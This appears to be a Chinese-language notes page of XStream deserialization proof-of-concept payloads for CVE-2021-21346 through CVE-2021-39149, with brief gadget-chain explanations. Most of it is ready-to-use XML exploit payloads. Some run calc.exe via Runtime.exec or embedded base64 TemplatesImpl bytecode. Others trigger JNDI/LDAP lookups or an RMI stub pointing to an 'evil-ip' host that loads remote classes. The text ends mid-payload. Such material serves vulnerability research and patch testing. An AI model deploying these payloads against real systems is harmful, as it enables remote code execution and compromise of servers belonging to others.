<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                          <name>verify</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                  <activationCmd>calc.exe</activationCmd>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-21346

通过TreeMap的put方法调用Rdn$RdnEntry的compareTo方法

再通过value.equals 触发 XString 的 equals 方法, that.value 赋值为 MultiUIDefaults 实例, 触发其 toString 方法

通过当中buf.append(key + "=" + get(key) + ", ");触发其get方法, get方法中通过Object value = super.get(key);调用UIDefaults的get方法, 经过Object value = getFromHashtable( key );调用其getFromHashtable方法

跟进发现其value值的定义影响

        if (value instanceof LazyValue) {
            try {
                /* If an exception is thrown we'll just put the LazyValue
                 * back in the table.
                 */
                value = ((LazyValue)value).createValue(this);
            }

设置为我们需要的SwingLazyValue触发其createValue方法, 其中先是获取方法而后对其调用

1644327649766

Object[] 类型不能强制转换为 String 类型导致无法通过此链进行命令执行

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>su18</type>
    <value class="javax.swing.MultiUIDefaults" serialization="custom">
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>en_US</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization="custom">
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <sun.swing.SwingLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1099/calc</string>
                  </args>
                </sun.swing.SwingLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference="../../../../../../../javax.swing.UIDefaults/default/defaultLocale"/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>su18</type>
    <value class="com.sun.org.apache.xpath.internal.objects.XString">
      <m__obj class="string">test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

CVE-2021-21347

参考:

在 jdk1.8.221 可以完美复现, 调用苛刻就不再多说了

CVE-2021-21350

BCEL调用, POC可参考:https://x-stream.github.io/CVE-2021-21350.html

CVE-2021-21351

<__overrideDefaultParser>这个标签在低版本的jdk中是没有的, 需要更换为<__useServicesMechanism>, 如果是高版本调用则无需更换

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>ldap://127.0.0.1:1099/calc</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

CVE-2021-29505

POC

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>127.0.0.1</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>evil-ip</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

JRMPListener在1099开启RMI服务即可恶意加载类

CVE-2021-39139

JDK7u21 RCE,<linked-hash-set>可替换为<set>

<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__indentNumber>0</__indentNumber>
        <__transletIndex>-1</__transletIndex>
        <__bytecodes>
          <byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
        </__bytecodes>
        <__name>HelloTemplatesImpl</__name>
      </default>
      <boolean>false</boolean>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class="sun.reflect.annotation.AnnotationInvocationHandler" serialization="custom">
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

CVE-2021-39141

JNDI注入

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://127.0.0.1:1099/calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-39144

通过动态代理触发 NullProvider 的父类 ProviderSkeleton 的 invoke 方法, 再通过 triggerProbe 方法调用到 DTraceProbe 的 uncheckedTrigger 方法

    protected void triggerProbe(Method var1, Object[] var2) {
        if (this.active) {
            ProbeSkeleton var3 = (ProbeSkeleton)this.probes.get(var1);
            if (var3 != null) {
                var3.uncheckedTrigger(var2);
            }
        }

sun.tracing.dtrace.DTraceProbe#uncheckedTrigger

    public void uncheckedTrigger(Object[] var1) {
        try {
            this.implementing_method.invoke(this.proxy, var1);
        } catch (IllegalAccessException var3) {
            assert false;
        } catch (InvocationTargetException var4) {
            assert false;
        }

    }

最后就是invoke的调用

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc.exe</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

JNDI注入

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class="javax.naming.InitialContext"/>
              <implementing__method>
                <class>javax.naming.InitialContext</class>
                <name>doLookup</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>ldap://127.0.0.1:1099/calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-39145

JNDI注入, POC参考:

CVE-2021-39146

思路同CVE-2021-21346, 找到了SwingLazyValue的代替品UIDefaults$ProxyLazyValue#createValue:1105, 这里存在一个反射的调用

if (methodName != null) {
   Class[] types = getClassArray(args);
   Method m = c.getMethod(methodName, types);
   return MethodUtil.invoke(m, c, args);
}

POC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1099/calc</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

CVE-2021-39147/CVE-2021-39148

参考:

特定JDK版本下载外部的任意代码

CVE-2021-39149

参考: https://xz.aliyun.com/t/10360

通过动态代理在HashMap调用hash的方法中使用动态代理调用hashCode

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

动态代理指向 com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl#invoke

    public Object invoke( Object proxy, Method method, Object[] args )
        throws Throwable
    {
        // Note that the declaring class in method is the interface
        // in which the method was defined, not the proxy class.
        Class cls = method.getDeclaringClass() ;
        InvocationHandler handler =
            (InvocationHandler)classToInvocationHandler.get( cls ) ;

        if (handler == null) {
            if (defaultHandler != null)
                handler = defaultHandler ;
            else {
                ORBUtilSystemException wrapper = ORBUtilSystemException.get(
                    CORBALogDomains.UTIL ) ;
                throw wrapper.noInvocationHandler( "\"" + method.toString() +
                    "\"" ) ;
            }
        }

        // handler should never be null here.

        return handler.invoke( proxy, method, args ) ;
    }

继续控制handler赋值为NullProvider然后调用ProviderSkeleton中的invoke方法, 进而跟进至triggerProbe, 此时传入的第二个参数为null, 后续就是 DTraceProbe 的 uncheckedTrigger 方法的 invoke 调用

<linked-hash-set>
    <dynamic-proxy>
        <interface>map</interface>
        <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
            <classToInvocationHandler class='linked-hash-map'/>
            <defaultHandler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Object</providerType>
                <probes>
                    <entry>
                        <method>
                            <class>java.lang.Object</class>
                            <name>hashCode</name>
                            <parameter-types/>
                        </method>
                        <sun.tracing.dtrace.DTraceProbe>
                            <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                                    <default>
                                        <__name>Evil</__name>
                                        <__bytecodes>
                                            <byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUA